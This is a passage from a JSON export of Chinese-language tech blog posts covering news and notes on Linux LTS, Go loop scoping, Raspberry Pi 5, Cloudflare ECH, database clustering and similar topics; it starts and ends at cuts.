    "body": "在「<a href=\"https://www.zdnet.com/article/long-term-support-for-linux-kernel-to-be-cut-as-maintainence-remains-under-strain/\">Long-term support for Linux kernel to be cut as maintainence remains under strain</a>」這邊看到 <a href=\"https://www.kernel.org/\">Linux Kernel</a> 後續的 LTS 版本將縮短成兩年的消息：\r\n\r\n<blockquote>Here's one major change coming down the road: Long-term support (LTS) for Linux kernels is being reduced from six to two years.</blockquote>\r\n\r\n主要的原因是舊版用的人並不多：\r\n\r\n<blockquote>Why? Simple, Corbet explained: \"There's really no point to maintaining it for that long because people are not using them.\" I agree. While I'm sure someone out there is still running 4.14 in a production Linux system, there can't be many of them.</blockquote>\r\n\r\n而目前的 LTS kernel 還是會走完本來計畫的時間，4.14、4.19、5.4 以及 5.10 從表上看都是六年，5.15 是五年，最新的 LTS 6.1 則是四年。\r\n\r\n降到兩年的話，代表各家 Linux distribution 在 LTS kernel 跑完生命週期後就得自己維護安全性更新了，或是直接升級到另外一個 kernel 版本 (後者的方法風險高一點，不確定系統的相容性)。\r\n\r\n看起來 5.10 與 6.1 會跑很久了，都到 2026 年十二月...",
    "title": "Linux Kernel 後續的 LTS 版本將縮短成兩年"
  },
  {
    "id": "11360",
    "body": "先前在網路上看到「<a href=\"https://isgooglefixed.tw/\">Google 翻譯修好了沒？ Has Google Fixed Translate Yet?</a>」這個網站，看起來是 2021 年的時候建立的，整理出來希望可以改善 <a href=\"https://translate.google.com/\">Google 翻譯</a>在台灣所使用的中文 (<code>zh-tw</code>) 的翻譯品質，上面列了五十幾個詞彙，記得當時只有一個有修正，其他都還是中國或是香港的用語。\r\n\r\n(話說 Google 翻譯的介面好像沒有分台灣跟香港...)\r\n\r\n因為看到有英文的說明，就順手丟上 <a href=\"https://news.ycombinator.com/\">Hacker News</a>：「<a href=\"https://news.ycombinator.com/item?id=37072851\">Has Google Translate been fixed yet? (isgooglefixed.tw)</a>」，還蠻意外的有些關注與討論... 大概是因為這樣，可能讓 <a href=\"https://www.google.com/\">Google</a> 內有個整理過資料可以開 issue，過了一個月，上個禮拜陸陸續續被修正了不少詞彙，目前剩下的那幾個比較接近詞彙準確性的問題。\r\n\r\n下一個可能是 Google Maps 上面的翻譯問題？就算切到 <code>zh-tw</code> 下還是會出現港式翻譯：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1695277258-2bddb350.webp\" /><img src=\"https://i.gslin.com/s/1695277258-2bddb350.png\" alt=\"\" /></picture>\r\n\r\n而把 Google Maps 英文版上看到的「Chophouse restaurant」丟進 Google Translate 翻譯是：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1695277331-d94b163e.webp\" /><img src=\"https://i.gslin.com/s/1695277331-d94b163e.png\" alt=\"\" /></picture>",
    "title": "Google 翻譯的中文詞彙"
  },
  {
    "id": "11362",
    "body": "在「<a href=\"https://railsatscale.com/2023-09-18-ruby-3-3-s-yjit-runs-shopify-s-production-code-15-faster/\">Ruby 3.3's YJIT Runs Shopify's Production Code 15% Faster</a>」這篇提到了 <a href=\"https://www.ruby-lang.org/\">Ruby</a> 3.3 的速度再次提升的消息。\r\n\r\n在 <a href=\"https://www.shopify.com/\">Shopify</a> 上面的測試，3.3.0-preview2 的速度已經比 3.2.2 (兩者都有開啟 YJIT) 快了 13%，而且 p50/p90/p99 都有對應的改善：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1695314966-760a4fea.webp\" /><img src=\"https://i.gslin.com/s/1695314966-760a4fea.png\" alt=\"\" /></picture>\r\n\r\n不過有提到一些要注意的點，像是記憶體的用量又會再更高 (本來開 YJIT 的時候就已經有增加了)，如果是對記憶體比較敏感的環境，會需要注意這點：\r\n\r\n<blockquote>Since Ruby 3.3.0-preview2 YJIT generates more code than Ruby 3.2.2 YJIT, this can result in YJIT having a higher memory overlead. We put a lot of effort into making metadata more space-efficient, but it still uses more memory than Ruby 3.2.2 YJIT. We’re looking into skipping compilation of paths that are less frequently executed.</blockquote>\r\n\r\n但 server 端應該是還好 (記憶體給多一點)，整體是個可以期待的方向...",
    "title": "Ruby 3.3 的速度再次提升"
  },
  {
    "id": "11363",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到的消息，<a href=\"https://www.cisco.com/\">Cisco</a> 買 <a href=\"https://www.splunk.com/\">Splunk</a>：「<a href=\"https://news.ycombinator.com/item?id=37596497\">Cisco Acquires Splunk (splunk.com)</a>」，對應的新聞稿：「<a href=\"https://www.splunk.com/en_us/blog/leadership/splunk-and-cisco-unite-to-accelerate-digital-resilience-as-one-of-the-leading-global-software-companies.html\">Splunk and Cisco Unite To Accelerate Digital Resilience as One of the Leading Global Software Companies</a>」。\r\n\r\n看不太出來為什麼 Cisco 要買 Splunk 這家公司，不知道戰略是什麼...\r\n\r\n另外在 Hacker News 上的討論整片都有提到 Splunk 貴到哭爸的事情... 剛好前公司也有用，那個價錢的確是很哭爸，也因此有了後續 migrate 到 <a href=\"https://prometheus.io/\">Prometheus</a> 上的計畫，不過這也是過去式了...\r\n\r\n<blockquote>That's staff, the building, equipment, power, water, everything...the estimated Splunk cost was more than that.</blockquote>\r\n\r\n<blockquote>The joke used to be 'splunk is amazing until the first invoice comes in', it's funny because it's true. Note Datadog is very similar in that regard.</blockquote>\r\n\r\n現在已經比起 Splunk 出來的年代，多了很多 open source 的方案可以選擇，Splunk 的吸引力低很多了。",
    "title": "Cisco 併購 Splunk"
  },
  {
    "id": "11364",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=37575204\">Fixing for loops in Go 1.22 (go.dev)</a>」看到的，原文在「<a href=\"https://go.dev/blog/loopvar-preview\">Fixing For Loops in Go 1.22</a>」這邊。\r\n\r\n算是各種有 closure 的程式語言會遇到的經典問題，下面的 <a href=\"https://go.dev/\">Golang</a> 程式在撰寫時會預期輸出 <code>a</code>、<code>b</code>、<code>c</code> (不保證順序)，但實際上會輸出 <code>c</code>、<code>c</code>、<code>c</code>，因為變數的 scope 設計原因：\r\n\r\n<pre>func main() {\r\n    done := make(chan bool)\r\n\r\n    values := []string{\"a\", \"b\", \"c\"}\r\n    for _, v := range values {\r\n        go func() {\r\n            fmt.Println(v)\r\n            done &lt;- true\r\n        }()\r\n    }\r\n\r\n    // wait for all goroutines to complete before exiting\r\n    for _ = range values {\r\n        &lt;-done\r\n    }\r\n}</pre>\r\n\r\n這在 <a href=\"https://en.wikipedia.org/wiki/JavaScript\">JavaScript</a> 也是個經典的問題，搜「<a href=\"https://duckduckgo.com/?q=javascript+closure+loop\">javascript closure loop</a>」就可以看到「<a href=\"https://stackoverflow.com/questions/750486/javascript-closure-inside-loops-simple-practical-example\">JavaScript closure inside loops – simple practical example</a>」這個例子，對應的答案則是有提到 <a href=\"https://en.wikipedia.org/wiki/ES6\">ES6</a> 的 <code>let</code> 因為改變了變數的 scope，可以用來解決這個問題。\r\n\r\n剛好 <code>let</code> 也是 best practice 了，所以現在 JavaScript 這邊遇到這個問題的情況會少一些。\r\n\r\n回到 Golang 這邊，Golang 是打算改變在 for loop 時，對應變數的 scope 來解決：\r\n\r\n<blockquote>For Go 1.22, we plan to change for loops to make these variables have per-iteration scope instead of per-loop scope. This change will fix the examples above, so that they are no longer buggy Go programs; it will end the production problems caused by such mistakes; and it will remove the need for imprecise tools that prompt users to make unnecessary changes to their code.</blockquote>\r\n\r\n另外因為這是 breaking compatibility 的改變 (畢竟有些程式碼是清楚知道這個特性而刻意這樣寫的)，所以會有對應的措施，只有在有指定 Golang 1.22 或是更新的版本才會用新的 scope 編譯：\r\n\r\n<blockquote>To ensure backwards compatibility with existing code, the new semantics will only apply in packages contained in modules that declare go 1.22 or later in their go.mod files. This per-module decision provides developer control of a gradual update to the new semantics throughout a codebase. It is also possible to use //go:build lines to control the decision on a per-file basis.</blockquote>",
    "title": "Golang 將改變常見的 closure 地雷"
  },
  {
    "id": "11367",
    "body": "<a href=\"https://kagi.com/\">Kagi</a> 公告 $10/mo 的 Unlimited Search Plan：「<a href=\"https://blog.kagi.com/unlimited-searches-for-10\">Unlimited Kagi searches for $10 per month</a>」。\r\n\r\n今天公告以後可以看到有個比較抖一點的成長，但要再觀察看看是不是持續的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1695357753-1b390ecd.webp\" /><img src=\"https://i.gslin.com/s/1695357753-1b390ecd.png\" alt=\"\" /></picture>\r\n\r\n翻了一下文章，還是沒看到為什麼要這樣做，尤其是財務上的理由... 最早從 $10/mo 漲到 $25/mo 就是成本問題，我的猜測是現在有量了所以 discount 比較好談 (從 9/6 的「<a href=\"https://web.archive.org/web/20230906191014/https://kagi.com/stats\">Kagi Search Stats</a>」的 8034 與現在的相比，的確可以看到一直在成長)，然後談完 discount 後重算成本結構，發現有機會衝一波？\r\n\r\n也有可能是 <a href=\"https://en.wikipedia.org/wiki/Venture_capital\">VC</a> 那邊有進展？像是找到比較願意放手讓 Kagi 執行這樣的理念的 VC？\r\n\r\nAnyway，$10/mo 又回來了...",
    "title": "Kagi 又恢復 $10/mo 的 Unlimited Search Plan 了"
  },
  {
    "id": "11368",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到 <a href=\"https://curl.se/\">cURL</a> 支援 <code>ipfs://</code> 的消息：「<a href=\"https://news.ycombinator.com/item?id=37628525\">IPFS support got merged into curl (twitter.com/bmann)</a>」。\r\n\r\n<blockquote class=\"twitter-tweet\" data-dnt=\"true\"><p lang=\"en\" dir=\"ltr\">IPFS support got merged into curl <a href=\"https://t.co/ozich2KmIk\">https://t.co/ozich2KmIk</a><a href=\"https://twitter.com/hashtag/IPFS?src=hash&amp;ref_src=twsrc%5Etfw\">#IPFS</a> and content addressing is here to stay.</p>&mdash; Boris Mann (@bmann) <a href=\"https://twitter.com/bmann/status/1705572964068930010?ref_src=twsrc%5Etfw\">September 23, 2023</a></blockquote> <script async src=\"https://platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\r\n\r\nHacker News 上有人提到這包支援的特性與問題：\r\n\r\n<blockquote>This patch makes curl utilize a gateway for ipfs:// addresses. It prefers a local one but can also use public gateways. It makes no effort to verify that the final product's cryptographic hash corresponds to the one in the address.</blockquote>\r\n\r\n依照說明是透過 gateway 處理，如果本地端有的話就用本地端的 gateway，不然就用 public gateway。另外就是沒有驗證 hash...\r\n\r\n不算是原生支援，但還行...？",
    "title": "cURL 放入 ipfs:// 支援"
  },
  {
    "id": "11369",
    "body": "<a href=\"https://en.wikipedia.org/wiki/The_Fanimatrix\">The Fanimatrix</a> 的 <a href=\"https://en.wikipedia.org/wiki/BitTorrent\">BitTorrent</a> 種子是目前還活著的 BitTorrent 種子最老的，從 2003 年九月建立的種子，至今要 20 年了：「<a href=\"https://torrentfreak.com/the-worlds-oldest-active-torrent-turns-20-years-old-230924/\">The World’s Oldest Active Torrent Turns 20 Years Old</a>」。\r\n\r\n在 2022 的報告裡面 BitTorrent 的流量大約是 2.91% (雖然這份報告本身有些地方很詭異，但就還是可以當個參考)：「<a href=\"https://www.sandvine.com/hubfs/Sandvine_Redesign_2019/Downloads/2022/Phenomena%20Reports/GIPR%202022/Sandvine%20GIPR%20January%202022.pdf\">2022 Global Internet Phenomena Report</a>」，在「<a href=\"https://torrentfreak.com/bittorrent-is-still-the-king-of-upstream-internet-traffic-but-for-how-long-220304/\">BitTorrent is Still the King of Upstream Internet Traffic, But for How Long?</a>」這邊也在討論 BitTorrent 的占比逐漸下降。\r\n\r\n但這就是 open protocol 的特性，你沒辦法殺掉他，而且他在對應的領域還是活的很好...",
    "title": "目前最老的 BitTorrent 種子 20 年了：The Fanimatrix"
  },
  {
    "id": "11370",
    "body": "剛剛找資料才發現的，<a href=\"https://en.wikipedia.org/wiki/Secure_copy_protocol\">scp</a> 指令早就可以針對兩個遠端複製檔案了：「<a href=\"https://unix.stackexchange.com/questions/85292/scp-from-one-remote-server-to-another-remote-server\">scp from one remote server to another remote server</a>」。\r\n\r\n可以加上 <code>-3</code>，像是這樣：\r\n\r\n<pre>scp -3 src:/foo/bar/a.zip dst:/tmp/</pre>\r\n\r\n不過依照說明可以不用加，因為這是 default 值：\r\n\r\n<blockquote>Copies between two remote hosts are transferred through the local host. Without this option the data is copied directly between the two remote hosts. Note that, when using the legacy SCP protocol (via the -O flag), this option selects batch mode for the second host as scp cannot ask for passwords or passphrases for both hosts. This mode is the default.</blockquote>\r\n\r\n看了 <a href=\"https://en.wikipedia.org/wiki/Stack_Exchange\">Stack Exchange</a> 上的回答日期，是 2014 年十月回的，所以至少 <a href=\"https://www.ubuntu.com/\">Ubuntu</a> 16.04 就有這個功能了？(沒有去查這個功能多早...)\r\n\r\n之前一直都是查怎麼用 <a href=\"https://rsync.samba.org/\">rsync</a> 搬，然後發現做不到所以都還是傻傻的透過 <a href=\"https://en.wikipedia.org/wiki/Jump_server\">jump server</a> 轉運檔案，沒想到隔壁棚早就給了解法...\r\n\r\n這樣有些情境搬檔案就簡單多了...",
    "title": "scp -3：直接對兩個 remote host 複製檔案"
  },
  {
    "id": "11371",
    "body": "看到「<a href=\"https://ssorc.tw/9334/percona-xtradb-cluster-is-a-database-clustering-solution-for-mysql/\">Percona XtraDB Cluster 是 MySQL 的叢集與分散式解決方案</a>」這篇，裡面提到了 <a href=\"https://www.percona.com/\">Percona</a> 包的 <a href=\"https://galeracluster.com/\">Galera Cluster</a>，叫 <a href=\"https://www.percona.com/software/mysql-database/percona-xtradb-cluster\">Percona XtraDB Cluster</a>。\r\n\r\nPercona 算是把 Galera Cluster 包的比較好的 distribution，是還蠻建議直接用他們家的版本。另外我記得 <a href=\"https://mariadb.org/\">MariaDB</a> 也有包一個版本，叫做 <a href=\"https://mariadb.com/kb/en/what-is-mariadb-galera-cluster/\">MariaDB Galera Cluster</a>。\r\n\r\n這篇算是很早期使用 PXC 的人的一些感想：(大概是 2012 年導入，當年雲端也還沒流行，在地端上面自己建，對應的 <a href=\"https://dev.mysql.com/\">MySQL</a> 底層還是 5.5 的年代)\r\n\r\n<blockquote>Percona XtraDB Cluster 建議至少三台</blockquote>\r\n\r\nGalera Cluster 的三台可以是兩台有資料的，加上一台沒有資料，這台沒資料的只負責投票組成 quorum，不需要到三台都是大機器，而且這樣的配置也比較單純一點。\r\n\r\n另外兩台雖然都可以當 writer 寫入，但實務上會建議都集中在一台寫，這樣可以大幅降低跨機器時產生的 lock contention。\r\n\r\n基於上面這個因素，將兩台有資料的機器，一台做 writer，另外一台做 reader 算是常見的架構，然後把可以接受些許 replication lag 的應用 (像是什麼 BI 專用 DB server) 用傳統的 MySQL logical replication 掛出去 (標準的 master-slave 架構，或是後來政治改名為 source-replica 架構)，不要直接參與 Galera Cluster 協定。\r\n\r\n(MySQL 5.5 的時候還得自己處理當 master/source 切換時 replication binlog position 的問題，現在有 GUID 後會好一些)\r\n\r\n除了 Galera Cluster 外，另外一種方式 (也是比較傳統的方式) 是 active-standby 的方式跑 <a href=\"https://en.wikipedia.org/wiki/Distributed_Replicated_Block_Device\">DRBD</a>：因為 DRBD 可以在兩台機器的 block 層做 mirror，所以切換的時候另外一台機器只要跑 journaling filesystem recovery (像是當年比較流行的 <a href=\"https://en.wikipedia.org/wiki/XFS\">XFS</a> 或是後來主力的 <a href=\"https://en.wikipedia.org/wiki/Ext4\">ext4</a>) + InnoDB recovery 就可以跑起來。\r\n\r\nDRBD 的老方法架構很單純，維護成本也很低，但缺點就是 recovery 的時間會高一些：在 crash 的 case 下可以做到十分鐘的 downtime 切換 (在傳統磁頭硬碟組成的 <a href=\"https://en.wikipedia.org/wiki/RAID\">RAID</a>)，而 Galera Cluster 因為等於是 hot-standby，蠻容易就可以做到小於 30 秒。\r\n\r\n另外在切換後 warmup 的時間上，Galera Cluster 也是因為 hot-standby 大勝：DRBD 這邊的情境等於是 cold start，資料庫內還有很多東西還沒進到 InnoDB buffer，對應的 SQL query 還不會快。\r\n\r\n相比起來 Galera Cluster 看起來是個好東西，但後面運作的機制複雜不少 (而且需要有人維護)，公司如果有專門的 DBOps 會比較好...\r\n\r\n不過現在 SSD 變成主流的情況，讀取速度與 random access 的效率都快很多，這使得 DRBD 切換的成本低很多了，很有機會整個 downtime (切換 + warmup) 是五分鐘內搞定，如果這個時間是可以接受的，用 Galera Cluster 的優點可能就沒那麼高了...",
    "title": "Percona XtraDB Cluster (PXC) 的感想"
  },
  {
    "id": "11373",
    "body": "<a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=37675496\">Mistral 7B (mistral.ai)</a>」，<a href=\"https://mistral.ai/news/announcing-mistral-7b/\">Mistral 7B</a> 是目前號稱最強的 7B model。\r\n\r\n宣稱在所有項目超越 <a href=\"https://en.wikipedia.org/wiki/LLaMA\">Llama</a> 2 13B，以及在許多項目超越 Llama 1 34B：\r\n\r\n<blockquote>Outperforms Llama 2 13B on all benchmarks\r\nOutperforms Llama 1 34B on many benchmarks</blockquote>\r\n\r\n很重要的是以 open source license 放出來的，選的是 <a href=\"https://www.apache.org/licenses/LICENSE-2.0\">Apache License, Version 2.0</a>：\r\n\r\n<blockquote>We’re releasing Mistral 7B under the Apache 2.0 license, it can be used without restrictions.</blockquote>\r\n\r\n這個 model 大小是可以用 CPU 跑的，馬上就有人推 patch 進 <a href=\"https://github.com/ggerganov/llama.cpp\">llama.cpp</a> 了：「<a href=\"https://github.com/ggerganov/llama.cpp/pull/3362\">Added the fact that llama.cpp supports Mistral AI release 0.1 #3362</a>」。\r\n\r\n我記得 Llama 2 13B 的輸出結果還有點微妙，但如果說是全部都超過的話，也許可以期待看看品質...",
    "title": "號稱目前最強的 Mistral 7B"
  },
  {
    "id": "11374",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上看到「<a href=\"https://news.ycombinator.com/item?id=37674967\">ClickHouse Keeper: A ZooKeeper alternative written in C++ (clickhouse.com)</a>」，原文是「<a href=\"https://clickhouse.com/blog/clickhouse-keeper-a-zookeeper-alternative-written-in-cpp\">ClickHouse Keeper: A ZooKeeper alternative written in C++</a>」。\r\n\r\n在 distributed coordination 這個領域目前應該是 <a href=\"https://etcd.io/\">etcd</a> 比較知名，但 <a href=\"https://zookeeper.apache.org/\">Apache ZooKeeper</a> 畢竟算是元老，還是有不少應用程式會把 ZooKeeper 當作基礎建設在用。\r\n\r\n因此 etcd 也包了一個 <a href=\"https://github.com/etcd-io/zetcd\">zetcd</a>，可以用 etcd 當作底層結構，但提供 ZooKeeper API 的介面讓應用程式使用：\r\n\r\n<blockquote>Serve the Apache Zookeeper API but back it with an etcd cluster</blockquote>\r\n\r\n這次 ClickHouse 的人搞出一個用 <a href=\"https://en.wikipedia.org/wiki/C++\">C++</a> 寫的 ClickHouse Keeper，定位是 drop-in replacement，想要解決現有的應用程式遇到的記憶體資源問題。\r\n\r\n從開頭的說明就可以看到著重在這塊：\r\n\r\n<blockquote>up to 46 times less memory than ZooKeeper ​​for the same volume of data while maintaining performance close to ZooKeeper.</blockquote>\r\n\r\n而對於新的應用程式，在開發時應該就不太會選 ZooKeeper 了，畢竟連 distributed lock 都得自己操作 znode 把功能疊出來 (像是官網很貼心的還提供了「<a href=\"https://zookeeper.apache.org/doc/current/recipes.html\">ZooKeeper Recipes and Solutions</a>」，裡面提供了 lock 的方法)，而這種事情太累，用 etcd 方便太多...",
    "title": "ClickHouse 弄了一個 C++ 寫的 ZooKeeper drop-in replacement：ClickHouse Keeper"
  },
  {
    "id": "11375",
    "body": "<a href=\"https://cloud.google.com/\">GCP</a> 提供每個區域 Standard Tier Networking 每個月有 200GB 的免費頻寬：「<a href=\"https://cloud.google.com/blog/products/networking/standard-tier-network-now-includes-200-gb-data-transfer-per-month\">Announcing 200 GB free Standard Tier internet data transfer per month</a>」。\r\n\r\n這類優惠應該是要給練習或是試用的人用的，吸引他們放一些量上來...\r\n\r\n另外雖然是每個區域都有 200GB/mo 的 free bandwidth，但通常也只會用一個或兩個區域，以台灣的 <code>asia-east1</code> 來說，如果有量在上面跑的話，省下來的會是 $0.07/GB 這個部分，大概就是 $14/mo 左右？",
    "title": "GCP 提供每個區域的 Standard Tier Networking 每個月 200GB 的免費頻寬"
  },
  {
    "id": "11376",
    "body": "<a href=\"https://www.raspberrypi.com/\">Raspberry Pi</a> 5 的消息出來了：「<a href=\"https://www.raspberrypi.com/news/introducing-raspberry-pi-5/\">Introducing: Raspberry Pi 5!</a>」。\r\n\r\n價錢是 $60 (4GB RAM 版本) 與 $80 (8GB RAM 版本)，目前看起來是 pre-order 階段。\r\n\r\n<blockquote>Today, we’re delighted to announce the launch of Raspberry Pi 5, coming at the end of October. Priced at $60 for the 4GB variant, and $80 for its 8GB sibling, virtually every aspect of the platform has been upgraded, delivering a no-compromises user experience.</blockquote>\r\n\r\n其中一個大賣點應該是效能了，宣稱與 RPi4 相比，CPU/GPU 效能是以前的兩倍到三倍，記憶體與 I/O 的頻寬也加倍了，所以應該是所有應用都會變快不少：\r\n\r\n<blockquote>Today, that effort bears fruit, with the launch of Raspberry Pi 5: compared to Raspberry Pi 4, we have between two and three times the CPU and GPU performance; roughly twice the memory and I/O bandwidth; and for the first time we have Raspberry Pi silicon on a flagship Raspberry Pi device.</blockquote>\r\n\r\n等到後續出貨應該就會有資料可以看了，不過從時脈就可以看出一些重點，上一代還是 1.5GHz (或是後來更新的 1.8GHz)，這一代拉到 2.4GHz 了：\r\n\r\n<blockquote>2.4GHz quad-core 64-bit Arm Cortex-A76 CPU</blockquote>\r\n\r\n而後續也提到，在相同的 loading 吃電量比 RPi4 低，但因為 boost 的關係，瞬間最高吃電量從以前 RPi4 的 8W 變到 RPi5 的 12W：\r\n\r\n<blockquote>Raspberry Pi 5 consumes significantly less power, and runs significantly cooler, than Raspberry Pi 4 when running an identical workload. However, the much higher performance ceiling means that for the most intensive workloads, and in particular for pathological “power virus” workloads, peak power consumption increases to around 12W, versus 8W for Raspberry Pi 4.</blockquote>\r\n\r\n但也因為這樣，如果你拿 15W 的 USB-C 充電器時，他的 USB port 就只能提供 3W 的功率了 (剛好就是他提到的 5V/600mA)：\r\n\r\n<blockquote>When using a standard 5V, 3A (15W) USB-C power adapter with Raspberry Pi 5, by default we must limit downstream USB current to 600mA to ensure that we have sufficient margin to support these workloads. This is lower than the 1.2A limit on Raspberry Pi 4, though generally still sufficient to drive mice, keyboards, and other low‑power peripherals.</blockquote>\r\n\r\n如果要能夠讓 USB 可以供應足夠的功率 (像是外接的機械硬碟這種會吃比較多電的設備)，需要使用 5V/5A 的充電器。\r\n\r\n但這邊提到 RPi5 firmware 在偵測到 5V/5A 的充電器時會提高限制，而不是提到 <a href=\"https://en.wikipedia.org/wiki/USB_PD\">USB PD</a>，所以可以預期是特規？\r\n\r\n<blockquote>For users who wish to drive high-power peripherals like hard drives and SSDs while retaining margin for peak workloads, we are offering a $12 USB-C power adapter which supports a 5V, 5A (25W) operating mode. If the Raspberry Pi 5 firmware detects this supply, it increases the USB current limit to 1.6A, providing 5W of extra power for downstream USB devices and 5W of extra on-board power budget: a boon for those of you who want to experiment with overclocking your Raspberry Pi 5.</blockquote>\r\n\r\n供貨的部分反而沒有聊到太多，但 RPi4 最近的供貨還算可以，所以可以預期 RPi5 應該不會太差？",
    "title": "Raspberry Pi 5"
  },
  {
    "id": "11377",
    "body": "上一篇「<a href=\"https://blog.gslin.org/archives/2023/09/28/11376/raspberry-pi-5/\">Raspberry Pi 5</a>」提到了一些來自 <a href=\"https://www.raspberrypi.com/\">Raspberry Pi</a> 官方的說明，後續各個媒體 (像是 YouTuber) 也都解禁放出不少資料可以參考了，其中電源的部分在「<a href=\"https://www.jeffgeerling.com/blog/2023/answering-some-questions-about-raspberry-pi-5\">Answering some questions about the Raspberry Pi 5</a>」這邊看到不認 USB PD 的 5V/5A 的問題，目前看起來是走獨規：\r\n\r\n<blockquote>I also tested the Radxa USB-C PD 30W power adapter, which says it will output 5V at 5A, but the Pi only negotiates 3A with it right now. I've been in contact with Pi engineers and it seems like they have one on the way to test to see why it's not negotiating more.</blockquote>\r\n\r\n另外看起來之後有機會支援 12V/2.25A (換算起來是 27W) 的充電頭，有機會透過韌體更新認得 PD？\r\n\r\n<blockquote>I should also note the official adapter lists 12V at 2.25A output as an option, so maybe some future Pi could take that and run with it, for increased compatibility with more USB-C PD adapters (5V at 5A is a rarely seen, though it's an option in the spec).</blockquote>\r\n\r\n不過即使走 5V/3A (15W)，在一般的應用下是夠用了，到時候拿到來玩看看...",
    "title": "Raspberry Pi 5 的一些細節出現了..."
  },
  {
    "id": "11378",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 宣佈所有的 Plan 都支援 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication#Encrypted_Client_Hello\">ECH</a> 了：「<a href=\"https://blog.cloudflare.com/announcing-encrypted-client-hello/\">Encrypted Client Hello - the last puzzle piece to privacy</a>」。\r\n\r\n要講 ECH 之前，會先提到 <a href=\"https://en.wikipedia.org/wiki/Domain_fronting\">Domain fronting</a> 這個避開網路審查 (censorship) 的技巧，這是利用 <a href=\"https://en.wikipedia.org/wiki/Content_delivery_network\">CDN</a> 服務裡對 <a href=\"https://en.wikipedia.org/wiki/Server_Name_Indication\">SNI</a> 的處理與對 HTTP header 的處理分開的特性，算是一種 side effect 的搞法，不保證會動，但蠻多 CDN 的服務都會動。\r\n\r\n實際上的作法就是在 SNI 層的 hostname 填寫一個沒有被審查的 Hostname (像是 <code>www.akamai.com</code>)，然後連到 <code>www.akamai.com:443</code> 上，也都使用 <code>www.akamai.com</code> 的 SSL certificate 交換。\r\n\r\n但在 HTTP header 上面則是送出不一樣的 hostname (但也必須是在這家 CDN 的機器上有提供服務的網域)，通常是被管制的網域名稱，像是 <code>Host: www.cnbc.com</code> 這樣的 HTTP header；而因為這部份被 TLS 保護，無法從外部看到內容而可以穿過網路審查。\r\n\r\n理論上 CDN 服務是可以 reject 這樣的連線的，但大多數的 CDN 廠商並沒有阻擋這麼嚴格，於是算是一種堪用的方式。而這次 ECH 算是把這個行為標準化了，就不需要再用 side effect 的方式了。\r\n\r\nCloudflare 本身就很大，可以來看看後續的效應...",
    "title": "Cloudflare 正式推出 ECH (Encrypted Client Hello)"
  },
  {
    "id": "11379",
    "body": "在「<a href=\"https://news.ycombinator.com/item?id=37725778\">Influxdb made the switch from Go to Rust (reddit.com)</a>」這邊看到 <a href=\"https://old.reddit.com/\">Reddit</a> 上 <a href=\"https://www.influxdata.com/\">InfluxDB</a> 的 CTO 出來的解釋：「<a href=\"https://old.reddit.com/r/rust/comments/16v13l5/influxdb_officially_made_the_switch_from_go_rust/\">influxdb officially made the switch from Go =&gt; Rust</a>」。\r\n\r\n可以看到 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 上的討論很多人都有提到 InfluxDB 的各種問題，而且在量還不大的時候就會遇到了。\r\n\r\n這次 <a href=\"https://go.dev/\">Golang</a> 換成 <a href=\"https://www.rust-lang.org/\">Rust</a>，依照 InfluxDB CTO 的說法有這些「優點」：\r\n\r\n<ul>\r\n\t<li>No garbage collector</li>\r\n\t<li>Fearless concurrency (thanks Rust compiler)</li>\r\n\t<li>Performance</li>\r\n\t<li>Error handling</li>\r\n\t<li>Crates</li>\r\n</ul>\r\n\r\n不過如果在 Golang 沒辦法解決 scalability 的問題 (通常需要 profiling 找出熱點然後改善演算法)，Rust 這邊遇到一樣的問題應該也是一樣炸裂...\r\n\r\n另外這家公司先前也出過事，七月的時候 InfluxDB 把比利時區的服務給關掉，但有不少客戶因為種種原因沒有收到通知，加上他們是直接 hard shutdown (沒有備份資料)，造成 InfluxDB Cloud 的企業用戶直接幹翻天：「<a href=\"https://news.ycombinator.com/item?id=36657829\">InfluxDB Cloud shuts down in Belgium; some weren't notified before data deletion (influxdata.com)</a>」。\r\n\r\n基本上可以閃遠一點... 目前看到的替代方案有 <a href=\"https://github.com/timescale/timescaledb\">TimescaleDB</a> (在 comment 裡有看到一些抱怨) 與 <a href=\"https://github.com/ClickHouse/ClickHouse\">Clickhouse</a> (在這篇的 comment 討論的比較少)。",
    "title": "InfluxDB 好像又在搞事了：從 Golang 換 Rust"
  },
  {
    "id": "11382",
    "body": "<a href=\"https://www.cloudflare.com/\">Cloudflare</a> 在 <a href=\"https://workers.cloudflare.com/\">Workers</a> 這個產品 (<a href=\"https://en.wikipedia.org/wiki/Serverless_computing\">serverless</a> 產品線) 推出了以 CPU time 收費的模式：「<a href=\"https://blog.cloudflare.com/workers-pricing-scale-to-zero/\">New Workers pricing — never pay to wait on I/O again</a>」。\r\n\r\n在這之前大家都是以 wall time 在計費，但這對於會卡在 I/O 很久的應用來說很不利，這次 Cloudflare 提出方案改用 CPU time 來計費，的確有吸引到我的目光...\r\n\r\n這是舊的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1696356267-cd0a9d3f.webp\" /><img src=\"https://i.gslin.com/s/1696356267-cd0a9d3f.png\" alt=\"\" /></picture>\r\n\r\n這是新的：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/s/1696356292-c6a6de31.webp\" /><img src=\"https://i.gslin.com/s/1696356292-c6a6de31.png\" alt=\"\" /></picture>\r\n\r\n就這兩張比較起來有個不是很確定的部分，現在不看 memory 用量收費了？<a href=\"https://developers.cloudflare.com/workers/platform/pricing/\">Pricing</a> 這頁裡面的資量已經把 「Standard」更新上去了，但好像還是沒提到 memory？\r\n\r\n不過不是馬上生效，而是這個月的月底 2023/10/31 可以選擇切到新的方案：\r\n\r\n<blockquote>Starting October 31, 2023, you will have the option to opt in individual Workers and Pages Functions projects on your account to new pricing, and newly created projects will default to new pricing. You’ll be able to estimate how much new 